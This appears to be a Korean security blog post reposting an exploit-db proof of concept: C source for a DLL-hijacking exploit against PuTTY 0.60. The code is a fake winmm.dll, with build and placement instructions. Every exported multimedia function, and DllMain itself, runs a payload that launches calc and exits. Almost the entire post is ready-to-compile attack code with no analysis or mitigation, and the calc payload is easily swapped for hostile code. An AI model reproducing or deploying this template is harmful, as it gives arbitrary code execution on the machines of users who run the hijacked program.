본문 바로가기
모의해킹 (WAPT)

PuTTY DLL Hijacking Exploit (winmm.dll)

by 날으는물고기 2010. 8. 26.

PuTTY DLL Hijacking Exploit (winmm.dll)

/*

Exploit Title: PuTTY DLL Hijacking Exploit (winmm.dll)
Date: August 25, 2010
Author: storm (storm@gonullyourself.org)
Version: 0.60
Tested on: Windows Vista SP2

http://www.gonullyourself.org/

gcc -shared -o winmm.dll PuTTY-DLL.c -DWIN32_LEAN_AND_MEAN

PuTTY is a standalone program, so just plop the .dll in whatever directory the binary is in.

*/

#include <windows.h>
#define DllExport __declspec (dllexport)

DllExport void aux32Message() { hax(); }
DllExport void auxGetDevCapsA() { hax(); }
DllExport void auxGetDevCapsW() { hax(); }
DllExport void auxGetNumDevs() { hax(); }
DllExport void auxGetVolume() { hax(); }
DllExport void auxOutMessage() { hax(); }
DllExport void auxSetVolume() { hax(); }
DllExport void CloseDriver() { hax(); }
DllExport void DefDriverProc() { hax(); }
DllExport void DriverCallback() { hax(); }
DllExport void DrvGetModuleHandle() { hax(); }
DllExport void GetDriverModuleHandle() { hax(); }
DllExport void joy32Message() { hax(); }
DllExport void joyConfigChanged() { hax(); }
DllExport void joyGetDevCapsA() { hax(); }
DllExport void joyGetDevCapsW() { hax(); }
DllExport void joyGetNumDevs() { hax(); }
DllExport void joyGetPos() { hax(); }
DllExport void joyGetPosEx() { hax(); }
DllExport void joyGetThreshold() { hax(); }
DllExport void joyReleaseCapture() { hax(); }
DllExport void joySetCapture() { hax(); }
DllExport void joySetThreshold() { hax(); }
DllExport void mci32Message() { hax(); }
DllExport void mciDriverNotify() { hax(); }
DllExport void mciDriverYield() { hax(); }
DllExport void mciExecute() { hax(); }
DllExport void mciFreeCommandResource() { hax(); }
DllExport void mciGetCreatorTask() { hax(); }
DllExport void mciGetDeviceIDA() { hax(); }
DllExport void mciGetDeviceIDFromElementIDA() { hax(); }
DllExport void mciGetDeviceIDFromElementIDW() { hax(); }
DllExport void mciGetDeviceIDW() { hax(); }
DllExport void mciGetDriverData() { hax(); }
DllExport void mciGetErrorStringA() { hax(); }
DllExport void mciGetErrorStringW() { hax(); }
DllExport void mciGetYieldProc() { hax(); }
DllExport void mciLoadCommandResource() { hax(); }
DllExport void mciSendCommandA() { hax(); }
DllExport void mciSendCommandW() { hax(); }
DllExport void mciSendStringA() { hax(); }
DllExport void mciSendStringW() { hax(); }
DllExport void mciSetDriverData() { hax(); }
DllExport void mciSetYieldProc() { hax(); }
DllExport void mid32Message() { hax(); }
DllExport void midiConnect() { hax(); }
DllExport void midiDisconnect() { hax(); }
DllExport void midiInAddBuffer() { hax(); }
DllExport void midiInClose() { hax(); }
DllExport void midiInGetDevCapsA() { hax(); }
DllExport void midiInGetDevCapsW() { hax(); }
DllExport void midiInGetErrorTextA() { hax(); }
DllExport void midiInGetErrorTextW() { hax(); }
DllExport void midiInGetID() { hax(); }
DllExport void midiInGetNumDevs() { hax(); }
DllExport void midiInMessage() { hax(); }
DllExport void midiInOpen() { hax(); }
DllExport void midiInPrepareHeader() { hax(); }
DllExport void midiInReset() { hax(); }
DllExport void midiInStart() { hax(); }
DllExport void midiInStop() { hax(); }
DllExport void midiInUnprepareHeader() { hax(); }
DllExport void midiOutCacheDrumPatches() { hax(); }
DllExport void midiOutCachePatches() { hax(); }
DllExport void midiOutClose() { hax(); }
DllExport void midiOutGetDevCapsA() { hax(); }
DllExport void midiOutGetDevCapsW() { hax(); }
DllExport void midiOutGetErrorTextA() { hax(); }
DllExport void midiOutGetErrorTextW() { hax(); }
DllExport void midiOutGetID() { hax(); }
DllExport void midiOutGetNumDevs() { hax(); }
DllExport void midiOutGetVolume() { hax(); }
DllExport void midiOutLongMsg() { hax(); }
DllExport void midiOutMessage() { hax(); }
DllExport void midiOutOpen() { hax(); }
DllExport void midiOutPrepareHeader() { hax(); }
DllExport void midiOutReset() { hax(); }
DllExport void midiOutSetVolume() { hax(); }
DllExport void midiOutShortMsg() { hax(); }
DllExport void midiOutUnprepareHeader() { hax(); }
DllExport void midiStreamClose() { hax(); }
DllExport void midiStreamOpen() { hax(); }
DllExport void midiStreamOut() { hax(); }
DllExport void midiStreamPause() { hax(); }
DllExport void midiStreamPosition() { hax(); }
DllExport void midiStreamProperty() { hax(); }
DllExport void midiStreamRestart() { hax(); }
DllExport void midiStreamStop() { hax(); }
DllExport void mixerClose() { hax(); }
DllExport void mixerGetControlDetailsA() { hax(); }
DllExport void mixerGetControlDetailsW() { hax(); }
DllExport void mixerGetDevCapsA() { hax(); }
DllExport void mixerGetDevCapsW() { hax(); }
DllExport void mixerGetID() { hax(); }
DllExport void mixerGetLineControlsA() { hax(); }
DllExport void mixerGetLineControlsW() { hax(); }
DllExport void mixerGetLineInfoA() { hax(); }
DllExport void mixerGetLineInfoW() { hax(); }
DllExport void mixerGetNumDevs() { hax(); }
DllExport void mixerMessage() { hax(); }
DllExport void mixerOpen() { hax(); }
DllExport void mixerSetControlDetails() { hax(); }
DllExport void mmDrvInstall() { hax(); }
DllExport void mmGetCurrentTask() { hax(); }
DllExport void mmioAdvance() { hax(); }
DllExport void mmioAscend() { hax(); }
DllExport void mmioClose() { hax(); }
DllExport void mmioCreateChunk() { hax(); }
DllExport void mmioDescend() { hax(); }
DllExport void mmioFlush() { hax(); }
DllExport void mmioGetInfo() { hax(); }
DllExport void mmioInstallIOProcA() { hax(); }
DllExport void mmioInstallIOProcW() { hax(); }
DllExport void mmioOpenA() { hax(); }
DllExport void mmioOpenW() { hax(); }
DllExport void mmioRead() { hax(); }
DllExport void mmioRenameA() { hax(); }
DllExport void mmioRenameW() { hax(); }
DllExport void mmioSeek() { hax(); }
DllExport void mmioSendMessage() { hax(); }
DllExport void mmioSetBuffer() { hax(); }
DllExport void mmioSetInfo() { hax(); }
DllExport void mmioStringToFOURCCA() { hax(); }
DllExport void mmioStringToFOURCCW() { hax(); }
DllExport void mmioWrite() { hax(); }
DllExport void mmsystemGetVersion() { hax(); }
DllExport void mmTaskBlock() { hax(); }
DllExport void mmTaskCreate() { hax(); }
DllExport void mmTaskSignal() { hax(); }
DllExport void mmTaskYield() { hax(); }
DllExport void mod32Message() { hax(); }
DllExport void mxd32Message() { hax(); }
DllExport void NotifyCallbackData() { hax(); }
DllExport void OpenDriver() { hax(); }
DllExport void PlaySound() { hax(); }
DllExport void PlaySoundA() { hax(); }
DllExport void PlaySoundW() { hax(); }
DllExport void SendDriverMessage() { hax(); }
DllExport void sndPlaySoundA() { hax(); }
DllExport void sndPlaySoundW() { hax(); }
DllExport void tid32Message() { hax(); }
DllExport void timeBeginPeriod() { hax(); }
DllExport void timeEndPeriod() { hax(); }
DllExport void timeGetDevCaps() { hax(); }
DllExport void timeGetSystemTime() { hax(); }
DllExport void timeGetTime() { hax(); }
DllExport void timeKillEvent() { hax(); }
DllExport void timeSetEvent() { hax(); }
DllExport void waveInAddBuffer() { hax(); }
DllExport void waveInClose() { hax(); }
DllExport void waveInGetDevCapsA() { hax(); }
DllExport void waveInGetDevCapsW() { hax(); }
DllExport void waveInGetErrorTextA() { hax(); }
DllExport void waveInGetErrorTextW() { hax(); }
DllExport void waveInGetID() { hax(); }
DllExport void waveInGetNumDevs() { hax(); }
DllExport void waveInGetPosition() { hax(); }
DllExport void waveInMessage() { hax(); }
DllExport void waveInOpen() { hax(); }
DllExport void waveInPrepareHeader() { hax(); }
DllExport void waveInReset() { hax(); }
DllExport void waveInStart() { hax(); }
DllExport void waveInStop() { hax(); }
DllExport void waveInUnprepareHeader() { hax(); }
DllExport void waveOutBreakLoop() { hax(); }
DllExport void waveOutClose() { hax(); }
DllExport void waveOutGetDevCapsA() { hax(); }
DllExport void waveOutGetDevCapsW() { hax(); }
DllExport void waveOutGetErrorTextA() { hax(); }
DllExport void waveOutGetErrorTextW() { hax(); }
DllExport void waveOutGetID() { hax(); }
DllExport void waveOutGetNumDevs() { hax(); }
DllExport void waveOutGetPitch() { hax(); }
DllExport void waveOutGetPlaybackRate() { hax(); }
DllExport void waveOutGetPosition() { hax(); }
DllExport void waveOutGetVolume() { hax(); }
DllExport void waveOutMessage() { hax(); }
DllExport void waveOutOpen() { hax(); }
DllExport void waveOutPause() { hax(); }
DllExport void waveOutPrepareHeader() { hax(); }
DllExport void waveOutReset() { hax(); }
DllExport void waveOutRestart() { hax(); }
DllExport void waveOutSetPitch() { hax(); }
DllExport void waveOutSetPlaybackRate() { hax(); }
DllExport void waveOutSetVolume() { hax(); }
DllExport void waveOutUnprepareHeader() { hax(); }
DllExport void waveOutWrite() { hax(); }
DllExport void wid32Message() { hax(); }
DllExport void wod32Message() { hax(); }
DllExport void WOW32DriverCallback() { hax(); }
DllExport void WOW32ResolveMultiMediaHandle() { hax(); }
DllExport void WOWAppExit() { hax(); }

int hax()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  hax();
  return 0;
}

출처 : exploit-db.com
728x90

댓글